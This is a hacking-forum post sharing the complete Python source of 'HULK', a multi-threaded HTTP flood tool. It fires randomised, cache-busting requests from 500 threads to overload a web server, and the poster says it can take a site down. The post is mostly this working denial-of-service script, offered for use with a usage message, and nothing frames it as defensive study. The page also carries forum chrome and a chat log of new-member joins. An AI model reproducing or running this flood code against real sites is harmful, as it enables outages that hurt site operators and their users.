HULK Dos [Python]

  • Hello Guest! Welcome to ConsoleCrunch, to help support our site check out the premium upgrades HERE! to get exclusive access to our hidden content.
  • Unable to load portions of the website...
    If you use an ad blocker addon, you should disable it because it interferes with several elements of the site and blocks more than just adverts.
  • Read Rules Before Posting Post Virus Scans with every program.

ZionHD

Leader
Retired Staff
Nov 8, 2014
184
215
53
What this script does is exhaust apache using no-cache. The reason why apache overloads or crashes is because it's receiving a lot of requests and not pulling a cached version so it uses more resources to fetch a non-cached version of the file being requested. However this is just my theory of it, if you think it may be because of another reason then okay.
This script is coded in python like i've specified in the title. This script is easily usable and can take down a site depending on their server specs.

Code:
import urllib2
import sys
import threading
import random
import re

#global params
url=''
host=''
headers_useragents=[]
headers_referers=[]
request_counter=0
flag=0
safe=0

def inc_counter():
    global request_counter
    request_counter+=1

def set_flag(val):
    global flag
    flag=val

def set_safe():
    global safe
    safe=1
   
# generates a user agent array
def useragent_list():
    global headers_useragents
    headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
    headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
    headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
    headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
    headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
    headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
    headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
    headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
    headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
    headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
    headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
    headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
    return(headers_useragents)

# generates a referer array
def referer_list():
    global headers_referers
    headers_referers.append('http://www.google.com/?q=')
    headers_referers.append('http://www.usatoday.com/search/results?q=')
    headers_referers.append('http://engadget.search.aol.com/search?q=')
    headers_referers.append('http://' + host + '/')
    return(headers_referers)
   
#builds random ascii string
def buildblock(size):
    out_str = ''
    for i in range(0, size):
        a = random.randint(65, 90)
        out_str += chr(a)
    return(out_str)

def usage():
    print '---------------------------------------------------'
    print 'USAGE: python hulk.py <url>'
    print 'you can add "safe" after url, to autoshut after dos'
    print '---------------------------------------------------'

   
#http request
def httpcall(url):
    useragent_list()
    referer_list()
    code=0
    if url.count("?")>0:
        param_joiner="&"
    else:
        param_joiner="?"
    request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
    request.add_header('User-Agent', random.choice(headers_useragents))
    request.add_header('Cache-Control', 'no-cache')
    request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
    request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10)))
    request.add_header('Keep-Alive', random.randint(110,120))
    request.add_header('Connection', 'keep-alive')
    request.add_header('Host',host)
    try:
            urllib2.urlopen(request)
    except urllib2.HTTPError, e:
            #print e.code
            set_flag(1)
            print 'Response Code 500'
            code=500
    except urllib2.URLError, e:
            #print e.reason
            sys.exit()
    else:
            inc_counter()
            urllib2.urlopen(request)
    return(code)        

   
#http caller thread 
class HTTPThread(threading.Thread):
    def run(self):
        try:
            while flag<2:
                code=httpcall(url)
                if (code==500) & (safe==1):
                    set_flag(2)
        except Exception, ex:
            pass

# monitors http threads and counts requests
class MonitorThread(threading.Thread):
    def run(self):
        previous=request_counter
        while flag==0:
            if (previous+100<request_counter) & (previous<>request_counter):
                print "%d Requests Sent" % (request_counter)
                previous=request_counter
        if flag==2:
            print "\n-- HULK Attack Finished --"

#execute 
if len(sys.argv) < 2:
    usage()
    sys.exit()
else:
    if sys.argv[1]=="help":
        usage()
        sys.exit()
    else:
        print "-- HULK Attack Started --"
        if len(sys.argv)== 3:
            if sys.argv[2]=="safe":
                set_safe()
        url = sys.argv[1]
        if url.count("/")==2:
            url = url + "/"
        m = re.search('http\://([^/]*)/?.*', url)
        host = m.group(1)
        for i in range(500):
            t = HTTPThread()
            t.start()
        t = MonitorThread()
        t.start()
 
General chit-chat
Help Users
  • Chat Bot:
    99winrodeo is our newest member. Welcome!
  • Chat Bot:
    xcraft12x is our newest member. Welcome!
  • Chat Bot:
    adaml7nx is our newest member. Welcome!
  • Chat Bot:
    zx1l0x is our newest member. Welcome!
  • Chat Bot:
    mstr88homes is our newest member. Welcome!
  • Chat Bot:
    Rachid Oran is our newest member. Welcome!
  • Chat Bot:
    keonhacaipizzaaa is our newest member. Welcome!
  • Chat Bot:
    baobinhuaxanh is our newest member. Welcome!
  • Chat Bot:
    cakhiacom is our newest member. Welcome!
  • Chat Bot:
    luck80net2 is our newest member. Welcome!
  • Chat Bot:
    88vbetinet1 is our newest member. Welcome!
  • Chat Bot:
    QM|T has joined the room.
  • Chat Bot:
    shaeir7 is our newest member. Welcome!
  • Chat Bot:
    789fgg1 is our newest member. Welcome!
  • Chat Bot:
    go99tlcomm is our newest member. Welcome!
  • Chat Bot:
    s8hicom12 is our newest member. Welcome!
  • Chat Bot:
    linkrr88com is our newest member. Welcome!
  • Chat Bot:
    ev88city is our newest member. Welcome!
  • Chat Bot:
    32winsorg is our newest member. Welcome!
  • Chat Bot:
    kkwin1dev2 is our newest member. Welcome!
  • Chat Bot:
    jw88seocom1 is our newest member. Welcome!
  • Chat Bot:
    QM|T has joined the room.
  • Chat Bot:
    wamulongo is our newest member. Welcome!
  • Chat Bot:
    matrixmtm22 is our newest member. Welcome!
  • @ matrixmtm22:
    consolecrunch.com/threads/free-paradisesprx-mod-menu-hen
      @ matrixmtm22: consolecrunch.com/threads/free-paradisesprx-mod-menu-hen